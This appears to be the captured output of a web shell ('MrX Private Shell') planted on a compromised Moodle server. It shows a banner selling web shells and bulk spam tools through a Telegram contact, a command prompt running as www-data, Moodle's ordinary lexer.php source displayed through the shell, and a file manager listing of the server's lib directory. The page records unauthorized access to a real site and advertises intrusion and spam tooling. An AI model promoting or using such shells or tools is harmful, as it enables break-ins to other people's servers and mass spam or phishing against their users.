__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.148: ~ $
<?php

/**
 * PHP lexer code snarfed from the CVS tree for the lamplib project at
 * http://sourceforge.net/projects/lamplib
 * This project is administered by Markus Baker, Harry Fuecks and Matt
 * Mitchell, and the project  code is in the public domain.
 *
 * Thanks, guys!
 *
 * @package   moodlecore
 * @copyright Markus Baker, Harry Fuecks and Matt Mitchell
 * @license   Public Domain {@link http://sourceforge.net/projects/lamplib}
 */

    /** LEXER_ENTER = 1 */
    define("LEXER_ENTER", 1);
    /** LEXER_MATCHED = 2 */
    define("LEXER_MATCHED", 2);
    /** LEXER_UNMATCHED = 3 */
    define("LEXER_UNMATCHED", 3);
    /** LEXER_EXIT = 4 */
    define("LEXER_EXIT", 4);
    /** LEXER_SPECIAL = 5 */
    define("LEXER_SPECIAL", 5);

    /**
     * Compounded regular expression. Any of
     * the contained patterns could match and
     * when one does it's label is returned.
     * @package   moodlecore
     * @copyright Markus Baker, Harry Fuecks and Matt Mitchell
     * @license   Public Domain {@link http://sourceforge.net/projects/lamplib}
     */
    class ParallelRegex {
        var $_patterns;
        var $_labels;
        var $_regex;
        var $_case;

        /**
         *    Constructor. Starts with no patterns.
         *    @param bool $case    True for case sensitive, false
         *                    for insensitive.
         *    @access public
         */
        public function __construct($case) {
            $this->_case = $case;
            $this->_patterns = array();
            $this->_labels = array();
            $this->_regex = null;
        }

        /**
         * Old syntax of class constructor. Deprecated in PHP7.
         *
         * @deprecated since Moodle 3.1
         */
        public function ParallelRegex($case) {
            debugging('Use of class name as constructor is deprecated', DEBUG_DEVELOPER);
            self::__construct($case);
        }

        /**
         *    Adds a pattern with an optional label.
         *    @param string $pattern      Perl style regex, but ( and )
         *                         lose the usual meaning.
         *    @param string $label        Label of regex to be returned
         *                         on a match.
         *    @access public
         */
        function addPattern($pattern, $label = true) {
            $count = count($this->_patterns);
            $this->_patterns[$count] = $pattern;
            $this->_labels[$count] = $label;
            $this->_regex = null;
        }

        /**
         *    Attempts to match all patterns at once against
         *    a string.
         *    @param string $subject      String to match against.
         *    @param string $match        First matched portion of
         *                         subject.
         *    @return bool             True on success.
         *    @access public
         */
        function match($subject, &$match) {
            if (count($this->_patterns) == 0) {
                return false;
            }
            if (!preg_match($this->_getCompoundedRegex(), $subject, $matches)) {
                $match = "";
                return false;
            }
            $match = $matches[0];
            for ($i = 1; $i < count($matches); $i++) {
                if ($matches[$i]) {
                    return $this->_labels[$i - 1];
                }
            }
            return true;
        }

        /**
         *    Compounds the patterns into a single
         *    regular expression separated with the
         *    "or" operator. Caches the regex.
         *    Will automatically escape (, ) and / tokens.
         *    @access private
         */
        function _getCompoundedRegex() {
            if ($this->_regex == null) {
                for ($i = 0; $i < count($this->_patterns); $i++) {
                    $this->_patterns[$i] = '(' . str_replace(
                            array('/', '(', ')'),
                            array('\/', '\(', '\)'),
                            $this->_patterns[$i]) . ')';
                }
                $this->_regex = "/" . implode("|", $this->_patterns) . "/" . $this->_getPerlMatchingFlags();
            }
            return $this->_regex;
        }

        /**
         *    Accessor for perl regex mode flags to use.
         *    @return string       Flags as string.
         *    @access private
         */
        function _getPerlMatchingFlags() {
            return ($this->_case ? "msS" : "msSi");
        }
    }

    /**
     * States for a stack machine.
     *
     * @package   moodlecore
     * @copyright Markus Baker, Harry Fuecks and Matt Mitchell
     * @license   Public Domain {@link http://sourceforge.net/projects/lamplib}
     */
    class StateStack {
        var $_stack;

        /**
         *    Constructor. Starts in named state.
         *    @param string $start        Starting state name.
         *    @access public
         */
        public function __construct($start) {
            $this->_stack = array($start);
        }

        /**
         * Old syntax of class constructor. Deprecated in PHP7.
         *
         * @deprecated since Moodle 3.1
         */
        public function StateStack($start) {
            debugging('Use of class name as constructor is deprecated', DEBUG_DEVELOPER);
            self::__construct($start);
        }

        /**
         *    Accessor for current state.
         *    @return string State as string.
         *    @access public
         */
        function getCurrent() {
            return $this->_stack[count($this->_stack) - 1];
        }

        /**
         *    Adds a state to the stack and sets it
         *    to be the current state.
         *    @param string $state        New state.
         *    @access public
         */
        function enter($state) {
            array_push($this->_stack, $state);
        }

        /**
         *    Leaves the current state and reverts
         *    to the previous one.
         *    @return bool     False if we drop off
         *                the bottom of the list.
         *    @access public
         */
        function leave() {
            if (count($this->_stack) == 1) {
                return false;
            }
            array_pop($this->_stack);
            return true;
        }
    }

    /**
     * Accepts text and breaks it into tokens.
     * Some optimisation to make the sure the
     * content is only scanned by the PHP regex
     * parser once. Lexer modes must not start
     * with leading underscores.
     *
     * @package   moodlecore
     * @copyright Markus Baker, Harry Fuecks and Matt Mitchell
     * @license   Public Domain {@link http://sourceforge.net/projects/lamplib}
     */
    class Lexer {
        var $_regexes;
        var $_parser;
        var $_mode;
        var $_mode_handlers;
        var $_case;

        /**
         *    Sets up the lexer in case insensitive matching
         *    by default.
         *    @param object $parser     Handling strategy by
         *                       reference.
         *    @param string $start      Starting handler.
         *    @param bool $case       True for case sensitive.
         *    @access public
         */
        public function __construct(&$parser, $start = "accept", $case = false) {
            $this->_case = $case;
            $this->_regexes = array();
            $this->_parser = &$parser;
            $this->_mode = new StateStack($start);
            $this->_mode_handlers = array();
        }

        /**
         * Old syntax of class constructor. Deprecated in PHP7.
         *
         * @deprecated since Moodle 3.1
         */
        public function Lexer(&$parser, $start = "accept", $case = false) {
            debugging('Use of class name as constructor is deprecated', DEBUG_DEVELOPER);
            self::__construct($parser, $start, $case);
        }

        /**
         *    Adds a token search pattern for a particular
         *    parsing mode. The pattern does not change the
         *    current mode.
         *    @param string $pattern      Perl style regex, but ( and )
         *                         lose the usual meaning.
         *    @param string $mode         Should only apply this
         *                         pattern when dealing with
         *                         this type of input.
         *    @access public
         */
        function addPattern($pattern, $mode = "accept") {
            if (!isset($this->_regexes[$mode])) {
                $this->_regexes[$mode] = new ParallelRegex($this->_case);
            }
            $this->_regexes[$mode]->addPattern($pattern);
        }

        /**
         *    Adds a pattern that will enter a new parsing
         *    mode. Useful for entering parenthesis, strings,
         *    tags, etc.
         *    @param string $pattern      Perl style regex, but ( and )
         *                         lose the usual meaning.
         *    @param string $mode         Should only apply this
         *                         pattern when dealing with
         *                         this type of input.
         *    @param string $new_mode     Change parsing to this new
         *                         nested mode.
         *    @access public
         */
        function addEntryPattern($pattern, $mode, $new_mode) {
            if (!isset($this->_regexes[$mode])) {
                $this->_regexes[$mode] = new ParallelRegex($this->_case);
            }
            $this->_regexes[$mode]->addPattern($pattern, $new_mode);
        }

        /**
         *    Adds a pattern that will exit the current mode
         *    and re-enter the previous one.
         *    @param string $pattern      Perl style regex, but ( and )
         *                         lose the usual meaning.
         *    @param string $mode         Mode to leave.
         *    @access public
         */
        function addExitPattern($pattern, $mode) {
            if (!isset($this->_regexes[$mode])) {
                $this->_regexes[$mode] = new ParallelRegex($this->_case);
            }
            $this->_regexes[$mode]->addPattern($pattern, "__exit");
        }

        /**
         *    Adds a pattern that has a special mode.
         *    Acts as an entry and exit pattern in one go.
         *    @param string $pattern      Perl style regex, but ( and )
         *                         lose the usual meaning.
         *    @param string $mode         Should only apply this
         *                         pattern when dealing with
         *                         this type of input.
         *    @param string $special      Use this mode for this one token.
         *    @access public
         */
        function addSpecialPattern($pattern, $mode, $special) {
            if (!isset($this->_regexes[$mode])) {
                $this->_regexes[$mode] = new ParallelRegex($this->_case);
            }
            $this->_regexes[$mode]->addPattern($pattern, "_$special");
        }

        /**
         *    Adds a mapping from a mode to another handler.
         *    @param string $mode        Mode to be remapped.
         *    @param string $handler     New target handler.
         *    @access public
         */
        function mapHandler($mode, $handler) {
            $this->_mode_handlers[$mode] = $handler;
        }

        /**
         *    Splits the page text into tokens. Will fail
         *    if the handlers report an error or if no
         *    content is consumed. If successful then each
         *    unparsed and parsed token invokes a call to the
         *    held listener.
         *    @param string $raw        Raw HTML text.
         *    @return bool           True on success, else false.
         *    @access public
         */
        function parse($raw) {
            if (!isset($this->_parser)) {
                return false;
            }
            $length = strlen($raw);
            while (is_array($parsed = $this->_reduce($raw))) {
                list($unmatched, $matched, $mode) = $parsed;
                if (!$this->_dispatchTokens($unmatched, $matched, $mode)) {
                    return false;
                }
                if (strlen($raw) == $length) {
                    return false;
                }
                $length = strlen($raw);
            }
            if (!$parsed) {
                return false;
            }
            return $this->_invokeParser($raw, LEXER_UNMATCHED);
        }

        /**
         *    Sends the matched token and any leading unmatched
         *    text to the parser changing the lexer to a new
         *    mode if one is listed.
         *    @param string $unmatched    Unmatched leading portion.
         *    @param string $matched      Actual token match.
         *    @param string $mode         Mode after match. The "_exit"
         *                         mode causes a stack pop. An
         *                         false mode causes no change.
         *    @return bool              False if there was any error
         *                         from the parser.
         *    @access private
         */
        function _dispatchTokens($unmatched, $matched, $mode = false) {
            if (!$this->_invokeParser($unmatched, LEXER_UNMATCHED)) {
                return false;
            }
            if ($mode === "__exit") {
                if (!$this->_invokeParser($matched, LEXER_EXIT)) {
                    return false;
                }
                return $this->_mode->leave();
            }
            if (strncmp($mode, "_", 1) == 0) {
                $mode = substr($mode, 1);
                $this->_mode->enter($mode);
                if (!$this->_invokeParser($matched, LEXER_SPECIAL)) {
                    return false;
                }
                return $this->_mode->leave();
            }
            if (is_string($mode)) {
                $this->_mode->enter($mode);
                return $this->_invokeParser($matched, LEXER_ENTER);
            }
            return $this->_invokeParser($matched, LEXER_MATCHED);
        }

        /**
         *    Calls the parser method named after the current
         *    mode. Empty content will be ignored.
         *    @param string $content        Text parsed.
         *    @param string $is_match       Token is recognised rather
         *                           than unparsed data.
         *    @access private
         */
        function _invokeParser($content, $is_match) {
            if (($content === "") || ($content === false)) {
                return true;
            }
            $handler = $this->_mode->getCurrent();
            if (isset($this->_mode_handlers[$handler])) {
                $handler = $this->_mode_handlers[$handler];
            }
            return $this->_parser->$handler($content, $is_match);
        }

        /**
         *    Tries to match a chunk of text and if successful
         *    removes the recognised chunk and any leading
         *    unparsed data. Empty strings will not be matched.
         *    @param string $raw  The subject to parse. This is the
         *                        content that will be eaten.
         *    @return bool|array  Three item list of unparsed
         *                        content followed by the
         *                        recognised token and finally the
         *                        action the parser is to take.
         *                        True if no match, false if there
         *                        is a parsing error.
         *    @access private
         */
        function _reduce(&$raw) {
            if (!isset($this->_regexes[$this->_mode->getCurrent()])) {
                return false;
            }
            if ($raw === "") {
                return true;
            }
            if ($action = $this->_regexes[$this->_mode->getCurrent()]->match($raw, $match)) {
                $count = strpos($raw, $match);
                $unparsed = substr($raw, 0, $count);
                $raw = substr($raw, $count + strlen($match));
                return array($unparsed, $match, $action);
            }
            return true;
        }
    }
?>

Filemanager

Name Type Size Permission Actions
adodb Folder 0755
ajax Folder 0755
amd Folder 0755
antivirus Folder 0755
aws-sdk Folder 0755
behat Folder 0755
bennu Folder 0755
classes Folder 0755
composer Folder 0755
db Folder 0755
ddl Folder 0755
dml Folder 0755
dtl Folder 0755
editor Folder 0755
emoji-data Folder 0755
evalmath Folder 0755
external Folder 0755
filebrowser Folder 0755
filestorage Folder 0755
fonts Folder 0755
form Folder 0755
geopattern-php Folder 0755
giggsey Folder 0755
google Folder 0755
grade Folder 0755
guzzlehttp Folder 0755
html2text Folder 0755
htmlpurifier Folder 0755
jmespath Folder 0755
jquery Folder 0755
laravel Folder 0755
lti1p3 Folder 0755
ltiprovider Folder 0755
markdown Folder 0755
maxmind Folder 0755
minify Folder 0755
mlbackend Folder 0755
mustache Folder 0755
nikic Folder 0755
openspout Folder 0755
pear Folder 0755
php-css-parser Folder 0755
php-di Folder 0755
php-jwt Folder 0755
phpmailer Folder 0755
phpspreadsheet Folder 0755
phpunit Folder 0755
phpxmlrpc Folder 0755
plist Folder 0755
polyfills Folder 0755
portfolio Folder 0755
psr Folder 0755
ralouphie Folder 0755
requirejs Folder 0755
rtlcss Folder 0755
scssphp Folder 0755
simplepie Folder 0755
slim Folder 0755
spatie Folder 0755
symfony Folder 0755
table Folder 0755
tcpdf Folder 0755
templates Folder 0755
testing Folder 0755
tests Folder 0755
userkey Folder 0755
webauthn Folder 0755
xapi Folder 0755
xhprof Folder 0755
xmldb Folder 0755
yui Folder 0755
yuilib Folder 0755
zipstream Folder 0755
UPGRADING.md File 39.92 KB 0644
accesslib.php File 185.49 KB 0644
adminlib.php File 398.45 KB 0644
apis.json File 7.34 KB 0644
apis.schema.json File 1.06 KB 0644
authlib.php File 46.33 KB 0644
badgeslib.php File 55.21 KB 0644
blocklib.php File 106.8 KB 0644
cacert.pem File 239.21 KB 0644
cacert.txt File 811 B 0644
clilib.php File 9.58 KB 0644
completionlib.php File 70.1 KB 0644
componentlib.class.php File 29.51 KB 0644
components.json File 4.06 KB 0644
configonlylib.php File 8.19 KB 0644
cookies.js File 2.37 KB 0644
csslib.php File 6.81 KB 0644
csvlib.class.php File 17.77 KB 0644
customcheckslib.php File 1.5 KB 0644
datalib.php File 85.25 KB 0644
ddllib.php File 4.72 KB 0644
default.ttf File 502.23 KB 0644
deprecatedlib.php File 29.37 KB 0644
dmllib.php File 12.48 KB 0644
dtllib.php File 2.58 KB 0644
editorlib.php File 6.42 KB 0644
emptyfile.php File 809 B 0644
enrollib.php File 138.06 KB 0644
environmentlib.php File 59.51 KB 0644
excellib.class.php File 30.73 KB 0644
externallib.php File 9.54 KB 0644
filelib.php File 206.22 KB 0644
filterlib.php File 42.89 KB 0644
flickrclient.php File 10.1 KB 0644
flickrlib.php File 52.19 KB 0644
formslib.php File 151.77 KB 0644
gdlib.php File 14.95 KB 0644
googleapi.php File 9.48 KB 0644
gradelib.php File 62.91 KB 0644
graphlib.php File 84.38 KB 0644
grouplib.php File 59.67 KB 0644
index.html File 1 B 0644
installlib.php File 16.75 KB 0644
javascript-static.js File 41.76 KB 0644
javascript.php File 4.11 KB 0644
jslib.php File 4.21 KB 0644
jssourcemap.php File 2.51 KB 0644
ldaplib.php File 18.19 KB 0644
lexer.php File 15.92 KB 0644
licenselib.php File 12.2 KB 0644
licenses.json File 2.29 KB 0644
listlib.php File 29.1 KB 0644
mathslib.php File 4.47 KB 0644
messagelib.php File 32.75 KB 0644
modinfolib.php File 146.4 KB 0644
moodlelib.php File 360.12 KB 0644
myprofilelib.php File 18.24 KB 0644
navigationlib.php File 265.64 KB 0644
oauthlib.php File 25.44 KB 0644
odslib.class.php File 57.65 KB 0644
outputactions.php File 1.04 KB 0644
outputcomponents.php File 1.04 KB 0644
outputfactories.php File 1.04 KB 0644
outputfragmentrequirementslib.php File 1.04 KB 0644
outputlib.php File 11.99 KB 0644
outputrenderers.php File 1.04 KB 0644
outputrequirementslib.php File 1.04 KB 0644
pagelib.php File 91.23 KB 0644
pdflib.php File 10.11 KB 0644
phpminimumversionlib.php File 3.08 KB 0644
plagiarismlib.php File 3.38 KB 0644
plugins.json File 15.37 KB 0644
plugins.schema.json File 1.28 KB 0644
portfoliolib.php File 53.58 KB 0644
questionlib.php File 73.11 KB 0644
recaptchalib_v2.php File 6.53 KB 0644
requirejs.php File 7.4 KB 0644
resourcelib.php File 8.87 KB 0644
rsslib.php File 17.94 KB 0644
searchlib.php File 17.28 KB 0644
sessionlib.php File 4.86 KB 0644
setup.php File 44.02 KB 0644
setuplib.php File 60.97 KB 0644
soaplib.php File 5.28 KB 0644
statslib.php File 67.81 KB 0644
subplugins.schema.json File 963 B 0644
tablelib.php File 1.47 KB 0644
thirdpartylibs.xml File 31.76 KB 0644
tokeniserlib.php File 16.69 KB 0644
upgrade.txt File 180.01 KB 0644
upgradelib.php File 105.16 KB 0644
validateurlsyntax.php File 23.05 KB 0644
wasmlib.php File 4.29 KB 0644
webdavlib.php File 69.49 KB 0644
weblib.php File 92.27 KB 0644
wiki_to_markdown.php File 13.08 KB 0644
wordlist.txt File 1.23 KB 0644
xhtml.xsl File 223 B 0644
xmlize.php File 8.82 KB 0644
xsendfilelib.php File 3.02 KB 0644
Filemanager